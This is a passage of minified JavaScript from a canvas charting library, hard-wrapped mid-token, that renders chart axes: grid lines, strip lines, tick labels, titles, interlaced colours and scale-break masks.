+)d[l].renderStripLinesOfThicknessType("value");if(b&&0<b.length)for(l=0;l<b.length
;l+
+)b[l].renderStripLinesOfThicknessType("value");if(c&&0<c.length)for(l=0;l<c.length
;l++)c[l].renderStripLinesOfThicknessType("value");
if(a&&0<a.length)for(l=0;l<a.length;l+
+)a[l].renderInterlacedColors();if(d&&0<d.length)for(l=0;l<d.length;l+
+)d[l].renderInterlacedColors();if(b&&0<b.length)for(l=0;l<b.length;l+
+)b[l].renderInterlacedColors();if(c&&0<c.length)for(l=0;l<c.length;l+
+)c[l].renderInterlacedColors();e.restore();if(a&&0<a.length)for(l=0;l<a.length;l+
+)a[l].renderGrid(),r&&(a[l].createMask(),a[l].renderBreaksBackground());if(d&&0<d.
length)for(l=0;l<d.length;l+
+)d[l].renderGrid(),r&&(d[l].createMask(),d[l].renderBreaksBackground());
if(b&&0<b.length)for(l=0;l<b.length;l+
+)b[l].renderGrid(),r&&(b[l].createMask(),b[l].renderBreaksBackground());if(c&&0<c.
length)for(l=0;l<c.length;l+
+)c[l].renderGrid(),r&&(c[l].createMask(),c[l].renderBreaksBackground());if(a&&0<a.
length)for(l=0;l<a.length;l+
+)a[l].renderAxisLine();if(d&&0<d.length)for(l=0;l<d.length;l+
+)d[l].renderAxisLine();if(b&&0<b.length)for(l=0;l<b.length;l+
+)b[l].renderAxisLine();if(c&&0<c.length)for(l=0;l<c.length;l+
+)c[l].renderAxisLine();if(a&&0<a.length)for(l=0;l<a.length;l+
+)a[l].renderStripLinesOfThicknessType("pixel");
if(d&&0<d.length)for(l=0;l<d.length;l+
+)d[l].renderStripLinesOfThicknessType("pixel");if(b&&0<b.length)for(l=0;l<b.length
;l+
+)b[l].renderStripLinesOfThicknessType("pixel");if(c&&0<c.length)for(l=0;l<c.length
;l+
+)c[l].renderStripLinesOfThicknessType("pixel")};z.prototype.calculateStripLinesThi
cknessInValues=function(){for(var a=0;a<this.stripLines.length;a++)if(null!
==this.stripLines[a].startValue&&null!==this.stripLines[a].endValue){var
d=Math.min(this.stripLines[a].startValue,this.stripLines[a].endValue),
b=Math.max(this.stripLines[a].startValue,this.stripLines[a].endValue),d=this.getApp
arentDifference(d,b);this.stripLines[a].value=this.logarithmic?
this.stripLines[a].value*Math.sqrt(Math.log(this.stripLines[a].endValue/this.stripL
ines[a].startValue)/Math.log(d)):this.stripLines[a].value+
(Math.abs(this.stripLines[a].endValue-this.stripLines[a].startValue)-
d)/2;this.stripLines[a].thickness=d;this.stripLines[a]._thicknessType="value"}};z.p
rototype.calculateBreaksSizeInValues=function(){for(var a="left"===
this._position||"right"===this._position?this.lineCoordinates.height||
this.chart.height:this.lineCoordinates.width||this.chart.width,d=this.scaleBreaks?
this.scaleBreaks._appliedBreaks:[],b=this.conversionParameters.pixelPerUnit||a/
(this.logarithmic?
this.conversionParameters.maximum/this.conversionParameters.minimum:this.conversion
Parameters.maximum-this.conversionParameters.minimum),c=this.scaleBreaks&&!
u(this.scaleBreaks.options.spacing),e,g=0;g<d.length;g++)e=c||!
u(d[g].options.spacing),d[g].spacing=
I(d[g].spacing,a,8,e?0.1*a:8,e?0:3)<<0,d[g].size=0>d[g].spacing?
0:Math.abs(d[g].spacing/b),this.logarithmic&&(d[g].size=Math.pow(this.logarithmBase
,d[g].size))};z.prototype.calculateBreaksInPixels=function(){if(!
(this.scaleBreaks&&0>=this.scaleBreaks._appliedBreaks.length)){var
a=this.scaleBreaks?this.scaleBreaks._appliedBreaks:
[];a.length&&(this.scaleBreaks.firstBreakIndex=this.scaleBreaks.lastBreakIndex=null
);for(var d=0;d<a.length&&!(a[d].startValue>this.conversionParameters.maximum);d+
+)a[d].endValue<
this.conversionParameters.minimum||
(u(this.scaleBreaks.firstBreakIndex)&&(this.scaleBreaks.firstBreakIndex=d),a[d].sta
rtValue>=this.conversionParameters.minimum&&(a[d].startPixel=this.convertValueToPix
el(a[d].startValue),this.scaleBreaks.lastBreakIndex=d),a[d].endValue<=this.conversi
onParameters.maximum&&(a[d].endPixel=this.convertValueToPixel(a[d].endValue)))}};z.
prototype.renderLabelsTicksAndTitle=function(){var a=this,d=!1,b=0,c=0,e=1,g=0;0!
==this.labelAngle&&360!==this.labelAngle&&(e=1.2);if("undefined"===
typeof this.options.interval)
{if("bottom"===this._position||"top"===this._position)if(this.logarithmic&&!
this.equidistantInterval&&this.labelAutoFit){for(var b=[],e=0!
==this.labelAngle&&360!==this.labelAngle?
1:1.2,k,l=this.viewportMaximum,h=this.lineCoordinates.width/Math.log(this.range),m=
this._labels.length-1;0<=m;m--)
{q=this._labels[m];if(q.position<this.viewportMinimum)break;q.position>this.viewpor
tMaximum||!(m===this._labels.length-1||k<Math.log(l/q.position)*h/e)||
(b.push(q),l=q.position,k=
q.textBlock.width*Math.abs(Math.cos(Math.PI/180*this.labelAngle))
+q.textBlock.height*Math.abs(Math.sin(Math.PI/180*this.labelAngle)))}this._labels=b
}else{for(m=0;m<this._labels.length;m+
+)q=this._labels[m],q.position<this.viewportMinimum||
(k=q.textBlock.width*Math.abs(Math.cos(Math.PI/180*this.labelAngle))
+q.textBlock.height*Math.abs(Math.sin(Math.PI/180*this.labelAngle)),b+=k);b>this.li
neCoordinates.width*e&&this.labelAutoFit&&(d=!
0)}if("left"===this._position||"right"===this._position)if(this.logarithmic&&
!this.equidistantInterval&&this.labelAutoFit){for(var
b=[],p,l=this.viewportMaximum,h=this.lineCoordinates.height/Math.log(this.range),m=
this._labels.length-1;0<=m;m--)
{q=this._labels[m];if(q.position<this.viewportMinimum)break;q.position>this.viewpor
tMaximum||!(m===this._labels.length-1||p<Math.log(l/q.position)*h)||
(b.push(q),l=q.position,p=q.textBlock.height*Math.abs(Math.cos(Math.PI/180*this.lab
elAngle))
+q.textBlock.width*Math.abs(Math.sin(Math.PI/180*this.labelAngle)))}this._labels=b}
else{for(m=
0;m<this._labels.length;m++)q=this._labels[m],q.position<this.viewportMinimum||
(p=q.textBlock.height*Math.abs(Math.cos(Math.PI/180*this.labelAngle))
+q.textBlock.width*Math.abs(Math.sin(Math.PI/180*this.labelAngle)),c+=p);c>this.lin
eCoordinates.height*e&&this.labelAutoFit&&(d=!0)}}this.logarithmic&&(!
this.equidistantInterval&&this.labelAutoFit)&&this._labels.sort(function(a,b)
{return a.position-b.position});var m=0,q,n;if("bottom"===this._position)
{for(m=0;m<this._labels.length;m++)q=this._labels[m],
q.position<this.viewportMinimum||(q.position>this.viewportMaximum||d&&0!==g++
%2&&this.labelAutoFit)||
(n=this.getPixelCoordinatesOnAxis(q.position),this.tickThickness&&"inside"!
=this.labelPlacement&&(this.ctx.lineWidth=this.tickThickness,this.ctx.strokeStyle=t
his.tickColor,c=1===this.ctx.lineWidth%2?
(n.x<<0)+0.5:n.x<<0,this.ctx.beginPath(),this.ctx.moveTo(c,n.y<<0),this.ctx.lineTo(
c,n.y+this.tickLength<<0),this.ctx.stroke()),0===q.textBlock.angle?(n.x-
=q.textBlock.width/2,n.y="inside"===this.labelPlacement?
n.y-
(this.tickLength+q.textBlock.fontSize/2):n.y+this.tickLength+q.textBlock.fontSize/2
):(n.x="inside"===this.labelPlacement?0>this.labelAngle?n.x:n.x-
q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle):n.x-(0>this.labelAngle?
q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle):0),n.y="inside"===this.labe
lPlacement?0>this.labelAngle?n.y-this.tickLength-5:n.y-this.tickLength-
Math.abs(q.textBlock.width*Math.sin(Math.PI/180*this.labelAngle)
+5):n.y+this.tickLength+Math.abs(0>this.labelAngle?q.textBlock.width*
Math.sin(Math.PI/180*this.labelAngle)-
5:5)),q.textBlock.x=n.x,q.textBlock.y=n.y);"inside"===this.labelPlacement&&this.cha
rt.addEventListener("dataAnimationIterationEnd",function()
{for(m=0;m<a._labels.length;m++)if(q=a._labels[m],!(q.position<a.viewportMinimum||
q.position>a.viewportMaximum||d&&0!==g++
%2&&a.labelAutoFit)&&(n=a.getPixelCoordinatesOnAxis(q.position),a.tickThickness))
{a.ctx.lineWidth=a.tickThickness;a.ctx.strokeStyle=a.tickColor;var
b=1===a.ctx.lineWidth%2?(n.x<<0)+0.5:n.x<<0;a.ctx.save();
a.ctx.beginPath();a.ctx.moveTo(b,n.y<<0);a.ctx.lineTo(b,n.y-
a.tickLength<<0);a.ctx.stroke();a.ctx.restore()}},this);this.title&&(this._titleTex
tBlock.measureText(),this._titleTextBlock.x=this.lineCoordinates.x1+this.lineCoordi
nates.width/2-this._titleTextBlock.width/2,this._titleTextBlock.y=this.bounds.y2-
this._titleTextBlock.height-
3,this.titleMaxWidth=this._titleTextBlock.maxWidth,this._titleTextBlock.render(!
0))}else if("top"===this._position){for(m=0;m<this._labels.length;m+
+)q=this._labels[m],
q.position<this.viewportMinimum||(q.position>this.viewportMaximum||d&&0!==g++
%2&&this.labelAutoFit)||
(n=this.getPixelCoordinatesOnAxis(q.position),this.tickThickness&&"inside"!
=this.labelPlacement&&(this.ctx.lineWidth=this.tickThickness,this.ctx.strokeStyle=t
his.tickColor,c=1===this.ctx.lineWidth%2?
(n.x<<0)+0.5:n.x<<0,this.ctx.beginPath(),this.ctx.moveTo(c,n.y<<0),this.ctx.lineTo(
c,n.y-this.tickLength<<0),this.ctx.stroke()),0===q.textBlock.angle?(n.x-
=q.textBlock.width/2,n.y="inside"===this.labelPlacement?
n.y+this.labelFontSize/2+this.tickLength+5:n.y-(this.tickLength+q.textBlock.height-
q.textBlock.fontSize/2)):(n.x="inside"===this.labelPlacement?0<this.labelAngle?
n.x:n.x-q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle):n.x+
(q.textBlock.height-this.tickLength-
this.labelFontSize)*Math.sin(Math.PI/180*this.labelAngle)-(0<this.labelAngle?
q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle):0),n.y="inside"===this.labe
lPlacement?0<this.labelAngle?n.y+this.tickLength+5:n.y-
q.textBlock.width*Math.sin(Math.PI/
180*this.labelAngle)+this.tickLength+5:n.y-(this.tickLength+((q.textBlock.height-
q.textBlock.fontSize/2)*Math.cos(Math.PI/180*this.labelAngle)+(0<this.labelAngle?
q.textBlock.width*Math.sin(Math.PI/180*this.labelAngle):0)))),q.textBlock.x=n.x,q.t
extBlock.y=n.y);"inside"===this.labelPlacement&&this.chart.addEventListener("dataAn
imationIterationEnd",function(){for(m=0;m<a._labels.length;m++)if(q=a._labels[m],!
(q.position<a.viewportMinimum||q.position>a.viewportMaximum||d&&0!==g++
%2&&a.labelAutoFit)&&
(n=a.getPixelCoordinatesOnAxis(q.position),a.tickThickness))
{a.ctx.lineWidth=a.tickThickness;a.ctx.strokeStyle=a.tickColor;var
b=1===this.ctx.lineWidth%2?
(n.x<<0)+0.5:n.x<<0;a.ctx.save();a.ctx.beginPath();a.ctx.moveTo(b,n.y<<0);a.ctx.lin
eTo(b,n.y+a.tickLength<<0);a.ctx.stroke();a.ctx.restore()}},this);this.title&&(this
._titleTextBlock.measureText(),this._titleTextBlock.x=this.lineCoordinates.x1+this.
lineCoordinates.width/2-
this._titleTextBlock.width/2,this._titleTextBlock.y=this.bounds.y1+1,this.titleMaxW
idth=
this._titleTextBlock.maxWidth,this._titleTextBlock.render(!0))}else
if("left"===this._position){for(m=0;m<this._labels.length;m+
+)q=this._labels[m],q.position<this.viewportMinimum||
(q.position>this.viewportMaximum||d&&0!==g++%2&&this.labelAutoFit)||
(n=this.getPixelCoordinatesOnAxis(q.position),this.tickThickness&&"inside"!
=this.labelPlacement&&(this.ctx.lineWidth=this.tickThickness,this.ctx.strokeStyle=t
his.tickColor,c=1===this.ctx.lineWidth%2?
(n.y<<0)+0.5:n.y<<0,this.ctx.beginPath(),this.ctx.moveTo(n.x<<
0,c),this.ctx.lineTo(n.x-
this.tickLength<<0,c),this.ctx.stroke()),0===this.labelAngle?
(q.textBlock.y=n.y,q.textBlock.x="inside"===this.labelPlacement?
n.x+this.tickLength+5:n.x-q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle)-
this.tickLength-5):(q.textBlock.y="inside"===this.labelPlacement?n.y:n.y-
q.textBlock.width*Math.sin(Math.PI/180*this.labelAngle),q.textBlock.x="inside"===th
is.labelPlacement?n.x+this.tickLength+5:0<this.labelAngle?n.x-
q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle)-
this.tickLength-5:n.x-q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle)+
(q.textBlock.height-q.textBlock.fontSize/2-
5)*Math.sin(Math.PI/180*this.labelAngle)-
this.tickLength));"inside"===this.labelPlacement&&this.chart.addEventListener("data
AnimationIterationEnd",function(){for(m=0;m<a._labels.length;m+
+)if(q=a._labels[m],!(q.position<a.viewportMinimum||q.position>a.viewportMaximum||
d&&0!==g++
%2&&a.labelAutoFit)&&(n=a.getPixelCoordinatesOnAxis(q.position),a.tickThickness))
{a.ctx.lineWidth=a.tickThickness;
a.ctx.strokeStyle=a.tickColor;var b=1===a.ctx.lineWidth%2?
(n.y<<0)+0.5:n.y<<0;a.ctx.save();a.ctx.beginPath();a.ctx.moveTo(n.x<<0,b);a.ctx.lin
eTo(n.x+a.tickLength<<0,b);a.ctx.stroke();a.ctx.restore()}},this);this.title&&(this
._titleTextBlock.measureText(),this._titleTextBlock.x=this.bounds.x1+1,this._titleT
extBlock.y=this.lineCoordinates.height/2+this._titleTextBlock.width/2+this.lineCoor
dinates.y1,this.titleMaxWidth=this._titleTextBlock.maxWidth,this._titleTextBlock.re
nder(!0))}else if("right"===
this._position){for(m=0;m<this._labels.length;m+
+)q=this._labels[m],q.position<this.viewportMinimum||
(q.position>this.viewportMaximum||d&&0!==g++%2&&this.labelAutoFit)||
(n=this.getPixelCoordinatesOnAxis(q.position),this.tickThickness&&"inside"!
=this.labelPlacement&&(this.ctx.lineWidth=this.tickThickness,this.ctx.strokeStyle=t
his.tickColor,c=1===this.ctx.lineWidth%2?
(n.y<<0)+0.5:n.y<<0,this.ctx.beginPath(),this.ctx.moveTo(n.x<<0,c),this.ctx.lineTo(
n.x+this.tickLength<<0,c),this.ctx.stroke()),0===this.labelAngle?
(q.textBlock.y=n.y,q.textBlock.x="inside"===this.labelPlacement?n.x-
q.textBlock.width-this.tickLength-5:n.x+this.tickLength+5):
(q.textBlock.y="inside"===this.labelPlacement?n.y-
q.textBlock.width*Math.sin(Math.PI/180*this.labelAngle):0>this.labelAngle?n.y:n.y-
(q.textBlock.height-q.textBlock.fontSize/2-
5)*Math.cos(Math.PI/180*this.labelAngle),q.textBlock.x="inside"===this.labelPlaceme
nt?n.x-q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle)-this.tickLength-
5:0<this.labelAngle?n.x+(q.textBlock.height-
q.textBlock.fontSize/2-5)*Math.sin(Math.PI/180*this.labelAngle)
+this.tickLength:n.x+this.tickLength+5));"inside"===this.labelPlacement&&this.chart
.addEventListener("dataAnimationIterationEnd",function()
{for(m=0;m<a._labels.length;m++)if(q=a._labels[m],!(q.position<a.viewportMinimum||
q.position>a.viewportMaximum||d&&0!==g++
%2&&a.labelAutoFit)&&(n=a.getPixelCoordinatesOnAxis(q.position),a.tickThickness))
{a.ctx.lineWidth=a.tickThickness;a.ctx.strokeStyle=a.tickColor;var
b=1===a.ctx.lineWidth%2?(n.y<<
0)+0.5:n.y<<0;a.ctx.save();a.ctx.beginPath();a.ctx.moveTo(n.x<<0,b);a.ctx.lineTo(n.
x-
a.tickLength<<0,b);a.ctx.stroke();a.ctx.restore()}},this);this.title&&(this._titleT
extBlock.measureText(),this._titleTextBlock.x=this.bounds.x2-
1,this._titleTextBlock.y=this.lineCoordinates.height/2-
this._titleTextBlock.width/2+this.lineCoordinates.y1,this.titleMaxWidth=this._title
TextBlock.maxWidth,this._titleTextBlock.render(!
0))}g=0;if("inside"===this.labelPlacement)this.chart.addEventListener("dataAnimatio
nIterationEnd",
function(){for(m=0;m<a._labels.length;m+
+)q=a._labels[m],q.position<a.viewportMinimum||(q.position>a.viewportMaximum||d&&0!
==g++%2&&a.labelAutoFit)||(a.ctx.save(),a.ctx.beginPath(),q.textBlock.render(!
0),a.ctx.restore())},this);else for(m=0;m<this._labels.length;m+
+)q=this._labels[m],q.position<this.viewportMinimum||
(q.position>this.viewportMaximum||d&&0!==g++%2&&this.labelAutoFit)||
q.textBlock.render(!0)};z.prototype.renderInterlacedColors=function(){var
a=this.chart.plotArea.ctx,d,b,c=this.chart.plotArea,
e=0;d=!
0;if(("bottom"===this._position||"top"===this._position)&&this.interlacedColor)for(
a.fillStyle=this.interlacedColor,e=0;e<this._labels.length;e++)d?
(d=this.getPixelCoordinatesOnAxis(this._labels[e].position),b=e+1>this._labels.leng
th-1?
this.getPixelCoordinatesOnAxis(this.viewportMaximum):this.getPixelCoordinatesOnAxis
(this._labels[e+1].position),a.fillRect(Math.min(b.x,d.x),c.y1,Math.abs(b.x-
d.x),Math.abs(c.y1-c.y2)),d=!1):d=!0;else
if(("left"===this._position||"right"===this._position)&&this.interlacedColor)for(a.
fillStyle=
this.interlacedColor,e=0;e<this._labels.length;e++)d?
(b=this.getPixelCoordinatesOnAxis(this._labels[e].position),d=e+1>this._labels.leng
th-1?
this.getPixelCoordinatesOnAxis(this.viewportMaximum):this.getPixelCoordinatesOnAxis
(this._labels[e+1].position),a.fillRect(c.x1,Math.min(b.y,d.y),Math.abs(c.x1-
c.x2),Math.abs(d.y-b.y)),d=!1):d=!
0;a.beginPath()};z.prototype.renderStripLinesOfThicknessType=function(a)
{if(this.stripLines&&0<this.stripLines.length&&a){for(var d=this,b,c=0,e=0,g=!1,k=!
1,l=[],h=[],
k=!1,c=0;c<this.stripLines.length;c++){var
m=this.stripLines[c];m._thicknessType===a&&("pixel"===a&&(m.value<this.viewportMini
mum||m.value>this.viewportMaximum||u(m.value)||isNaN(this.range))||
l.push(m))}for(c=0;c<this._stripLineLabels.length;c+
+)if(m=this.stripLines[c],b=this._stripLineLabels[c],!
(b.position<this.viewportMinimum||b.position>this.viewportMaximum||
isNaN(this.range)))
{a=this.getPixelCoordinatesOnAxis(b.position);if("outside"===b.stripLine.labelPlace
ment)if(m&&(this.ctx.strokeStyle=
m.color,"pixel"===m._thicknessType&&(this.ctx.lineWidth=m.thickness)),"bottom"===th
is._position){var p=1===this.ctx.lineWidth%2?
(a.x<<0)+0.5:a.x<<0;this.ctx.beginPath();this.ctx.moveTo(p,a.y<<0);this.ctx.lineTo(
p,a.y+this.tickLength<<0);this.ctx.stroke();0===this.labelAngle?(a.x-
=b.textBlock.width/2,a.y+=this.tickLength+b.textBlock.fontSize/2):(a.x-
=0>this.labelAngle?
b.textBlock.width*Math.cos(Math.PI/180*this.labelAngle):0,a.y+=this.tickLength+Math
.abs(0>this.labelAngle?b.textBlock.width*Math.sin(Math.PI/
180*this.labelAngle)-5:5))}else"top"===this._position?(p=1===this.ctx.lineWidth%2?
(a.x<<0)+0.5:a.x<<0,this.ctx.beginPath(),this.ctx.moveTo(p,a.y<<0),this.ctx.lineTo(
p,a.y-this.tickLength<<0),this.ctx.stroke(),0===this.labelAngle?(a.x-
=b.textBlock.width/2,a.y-=this.tickLength+b.textBlock.height):
(a.x+=(b.textBlock.height-this.tickLength-
this.labelFontSize/2)*Math.sin(Math.PI/180*this.labelAngle)-(0<this.labelAngle?
b.textBlock.width*Math.cos(Math.PI/180*this.labelAngle):0),a.y-=this.tickLength+
(b.textBlock.height*
Math.cos(Math.PI/180*this.labelAngle)+(0<this.labelAngle?
b.textBlock.width*Math.sin(Math.PI/180*this.labelAngle):0)))):"left"===this._positi
on?(p=1===this.ctx.lineWidth%2?
(a.y<<0)+0.5:a.y<<0,this.ctx.beginPath(),this.ctx.moveTo(a.x<<0,p),this.ctx.lineTo(
a.x-this.tickLength<<0,p),this.ctx.stroke(),0===this.labelAngle?a.x=a.x-
b.textBlock.width*Math.cos(Math.PI/180*this.labelAngle)-this.tickLength-5:(a.y-
=b.textBlock.width*Math.sin(Math.PI/180*this.labelAngle),a.x=0<this.labelAngle?a.x-
b.textBlock.width*
Math.cos(Math.PI/180*this.labelAngle)-this.tickLength-5:a.x-
b.textBlock.width*Math.cos(Math.PI/180*this.labelAngle)+(b.textBlock.height-
b.textBlock.fontSize/2-5)*Math.sin(Math.PI/180*this.labelAngle)-
this.tickLength)):"right"===this._position&&(p=1===this.ctx.lineWidth%2?
(a.y<<0)+0.5:a.y<<0,this.ctx.beginPath(),this.ctx.moveTo(a.x<<0,p),this.ctx.lineTo(
a.x+this.tickLength<<0,p),this.ctx.stroke(),0===this.labelAngle?
a.x=a.x+this.tickLength+5:(a.y=0>this.labelAngle?a.y:a.y-(b.textBlock.height-
b.textBlock.fontSize/
2-5)*Math.cos(Math.PI/180*this.labelAngle),a.x=0<this.labelAngle?a.x+
(b.textBlock.height-b.textBlock.fontSize/2-5)*Math.sin(Math.PI/180*this.labelAngle)
+this.tickLength:a.x+this.tickLength+5));else b.textBlock.angle=-
90,"bottom"===this._position?
(b.textBlock.maxWidth=this.options.stripLines[c].labelMaxWidth?
this.options.stripLines[c].labelMaxWidth:this.chart.plotArea.height-
3,b.textBlock.measureText(),a.x-b.textBlock.height>this.chart.plotArea.x1?
u(m.startValue)?a.x-=b.textBlock.height-b.textBlock.fontSize/
2:a.x-=b.textBlock.height/2-b.textBlock.fontSize/2+3:
(b.textBlock.angle=90,u(m.startValue)?a.x+=b.textBlock.height-
b.textBlock.fontSize/2:a.x+=b.textBlock.height/2-b.textBlock.fontSize/2+3),a.y=-
90===b.textBlock.angle?"near"===b.stripLine.labelAlign?this.chart.plotArea.y2-
3:"center"===b.stripLine.labelAlign?
(this.chart.plotArea.y2+this.chart.plotArea.y1+b.textBlock.width)/2:this.chart.plot
Area.y1+b.textBlock.width+3:"near"===b.stripLine.labelAlign?this.chart.plotArea.y2-
b.textBlock.width-3:"center"===
b.stripLine.labelAlign?(this.chart.plotArea.y2+this.chart.plotArea.y1-
b.textBlock.width)/2:this.chart.plotArea.y1+3):"top"===this._position?
(b.textBlock.maxWidth=this.options.stripLines[c].labelMaxWidth?
this.options.stripLines[c].labelMaxWidth:this.chart.plotArea.height-
3,b.textBlock.measureText(),a.x-b.textBlock.height>this.chart.plotArea.x1?
u(m.startValue)?a.x-=b.textBlock.height-b.textBlock.fontSize/2:a.x-
=b.textBlock.height/2-b.textBlock.fontSize/2+3:
(b.textBlock.angle=90,u(m.startValue)?a.x+=
b.textBlock.height-b.textBlock.fontSize/2:a.x+=b.textBlock.height/2-
b.textBlock.fontSize/2+3),a.y=-
90===b.textBlock.angle?"near"===b.stripLine.labelAlign?
this.chart.plotArea.y1+b.textBlock.width+3:"center"===b.stripLine.labelAlign?
(this.chart.plotArea.y2+this.chart.plotArea.y1+b.textBlock.width)/2:this.chart.plot
Area.y2-3:"near"===b.stripLine.labelAlign?
this.chart.plotArea.y1+3:"center"===b.stripLine.labelAlign?
(this.chart.plotArea.y2+this.chart.plotArea.y1-
b.textBlock.width)/2:this.chart.plotArea.y2-
b.textBlock.width-3):"left"===this._position?
(b.textBlock.maxWidth=this.options.stripLines[c].labelMaxWidth?
this.options.stripLines[c].labelMaxWidth:this.chart.plotArea.width-
3,b.textBlock.angle=0,b.textBlock.measureText(),a.y-
b.textBlock.height>this.chart.plotArea.y1?u(m.startValue)?a.y-=b.textBlock.height-
b.textBlock.fontSize/2:a.y-=b.textBlock.height/2-b.textBlock.fontSize+3:a.y-
b.textBlock.height<this.chart.plotArea.y2?
a.y+=b.textBlock.fontSize/2+3:u(m.startValue)?a.y-=b.textBlock.height-
b.textBlock.fontSize/
2:a.y-=b.textBlock.height/2-
b.textBlock.fontSize+3,a.x="near"===b.stripLine.labelAlign?
this.chart.plotArea.x1+3:"center"===b.stripLine.labelAlign?
(this.chart.plotArea.x2+this.chart.plotArea.x1)/2-
b.textBlock.width/2:this.chart.plotArea.x2-b.textBlock.width-
3):"right"===this._position&&(b.textBlock.maxWidth=this.options.stripLines[c].label
MaxWidth?this.options.stripLines[c].labelMaxWidth:this.chart.plotArea.width-
3,b.textBlock.angle=0,b.textBlock.measureText(),a.y-
+b.textBlock.height>this.chart.plotArea.y1?
u(m.startValue)?a.y-=b.textBlock.height-b.textBlock.fontSize/2:a.y-
=b.textBlock.height/2-b.textBlock.fontSize/2-3:a.y-
b.textBlock.height<this.chart.plotArea.y2?
a.y+=b.textBlock.fontSize/2+3:u(m.startValue)?a.y-=b.textBlock.height-
b.textBlock.fontSize/2:a.y-=b.textBlock.height/2-
b.textBlock.fontSize/2+3,a.x="near"===b.stripLine.labelAlign?
this.chart.plotArea.x2-b.textBlock.width-3:"center"===b.stripLine.labelAlign?
(this.chart.plotArea.x2+this.chart.plotArea.x1)/2-
b.textBlock.width/2:this.chart.plotArea.x1+
3);b.textBlock.x=a.x;b.textBlock.y=a.y;h.push(b)}if(!k){k=!
1;this.ctx.save();this.ctx.beginPath();this.ctx.rect(this.chart.plotArea.x1,this.ch
art.plotArea.y1,this.chart.plotArea.width,this.chart.plotArea.height);this.ctx.clip
();for(c=0;c<l.length;c++)m=l[c],m.showOnTop?g||(g=!
0,this.chart.addEventListener("dataAnimationIterationEnd",function()
{this.ctx.save();this.ctx.beginPath();this.ctx.rect(this.chart.plotArea.x1,this.cha
rt.plotArea.y1,this.chart.plotArea.width,this.chart.plotArea.height);this.ctx.clip(
);
for(e=0;e<l.length;e+
+)m=l[e],m.showOnTop&&m.render();this.ctx.restore()},m)):m.render();for(c=0;c<h.len
gth;c++)b=h[c],b.stripLine.showOnTop?k||(k=!
0,this.chart.addEventListener("dataAnimationIterationEnd",function()
{for(e=0;e<h.length;e+
+)b=h[e],"inside"===b.stripLine.labelPlacement&&b.stripLine.showOnTop&&(d.ctx.save(
),d.ctx.beginPath(),d.ctx.rect(d.chart.plotArea.x1,d.chart.plotArea.y1,d.chart.plot
Area.width,d.chart.plotArea.height),d.ctx.clip(),b.textBlock.render(!
0),d.ctx.restore())},b.textBlock)):
"inside"===b.stripLine.labelPlacement&&b.textBlock.render(!
0);this.ctx.restore();k=!0}if(k)for(k=!1,c=0;c<h.length;c+
+)b=h[c],b.stripLine.showOnTop?k||(k=!
0,this.chart.addEventListener("dataAnimationIterationEnd",function()
{for(e=0;e<h.length;e+
+)b=h[e],"outside"===b.stripLine.labelPlacement&&b.stripLine.showOnTop&&b.textBlock
.render(!
0)},b.textBlock)):"outside"===b.stripLine.labelPlacement&&b.textBlock.render(!
0)}};z.prototype.renderBreaksBackground=function()
{this.chart._breaksCanvas&&(this.scaleBreaks&&
0<this.scaleBreaks._appliedBreaks.length&&this.maskCanvas)&&(this.chart._breaksCanv
asCtx.save(),this.chart._breaksCanvasCtx.beginPath(),this.chart._breaksCanvasCtx.re
ct(this.chart.plotArea.x1,this.chart.plotArea.y1,this.chart.plotArea.width,this.cha
rt.plotArea.height),this.chart._breaksCanvasCtx.clip(),this.chart._breaksCanvasCtx.
drawImage(this.maskCanvas,0,0,this.chart.width,this.chart.height),this.chart._break
sCanvasCtx.restore())};z.prototype.createMask=function()
{if(this.scaleBreaks&&0<this.scaleBreaks._appliedBreaks.length){var a=
this.scaleBreaks._appliedBreaks;r?
(this.maskCanvas=ta(this.chart.width,this.chart.height),this.maskCtx=this.maskCanva
s.getContext("2d")):
(this.maskCanvas=this.chart.plotArea.canvas,this.maskCtx=this.chart.plotArea.ctx);t
his.maskCtx.save();this.maskCtx.beginPath();this.maskCtx.rect(this.chart.plotArea.x
1,this.chart.plotArea.y1,this.chart.plotArea.width,this.chart.plotArea.height);this
.maskCtx.clip();for(var d=0;d<a.length;d++)a[d].endValue<this.viewportMinimum||
(a[d].startValue>this.viewportMaximum||
isNaN(this.range))||
a[d].render(this.maskCtx);this.maskCtx.restore()}};z.prototype.renderCrosshair=func
tion(a,d){this.crosshair.render(a,d)};z.prototype.renderGrid=function()
{if(this.gridThickness&&0<this.gridThickness){var a=this.chart.ctx;a.save();var
d,b=this.chart.plotArea;a.lineWidth=this.gridThickness;a.strokeStyle=this.gridColor
;a.setLineDash&&a.setLineDash(R(this.gridDashType,this.gridThickness));if("bottom"=
==this._position||"top"===this._position)for(c=0;c<this._labels.length;c+
+)this._labels[c].position<
this.viewportMinimum||(this._labels[c].position>this.viewportMaximum||
this._labels[c].breaksLabelType)||
(a.beginPath(),d=this.getPixelCoordinatesOnAxis(this._labels[c].position),d=1===a.l
ineWidth%2?
(d.x<<0)+0.5:d.x<<0,a.moveTo(d,b.y1<<0),a.lineTo(d,b.y2<<0),a.stroke());else
if("left"===this._position||"right"===this._position)for(var
c=0;c<this._labels.length;c++)this._labels[c].position<this.viewportMinimum||
(this._labels[c].position>this.viewportMaximum||this._labels[c].breaksLabelType)||
(a.beginPath(),
d=this.getPixelCoordinatesOnAxis(this._labels[c].position),d=1===a.lineWidth%2?
(d.y<<0)+0.5:d.y<<0,a.moveTo(b.x1<<0,d),a.lineTo(b.x2<<0,d),a.stroke());a.restore()
}};z.prototype.renderAxisLine=function(){var a=this.chart.ctx,d=r?
this.chart._preRenderCtx:a,b=Math.ceil(this.tickThickness/(this.reversed?-
2:2)),c=Math.ceil(this.tickThickness/(this.reversed?2:-
2)),e,g;d.save();if("bottom"===this._position||"top"===this._position)
{if(this.lineThickness){this.reversed?
(e=this.lineCoordinates.x2,g=this.lineCoordinates.x1):
(e=this.lineCoordinates.x1,g=this.lineCoordinates.x2);d.lineWidth=this.lineThicknes
s;d.strokeStyle=this.lineColor?
this.lineColor:"black";d.setLineDash&&d.setLineDash(R(this.lineDashType,this.lineTh
ickness));var k=1===this.lineThickness%2?
(this.lineCoordinates.y1<<0)+0.5:this.lineCoordinates.y1<<0;d.beginPath();if(this.s
caleBreaks&&!
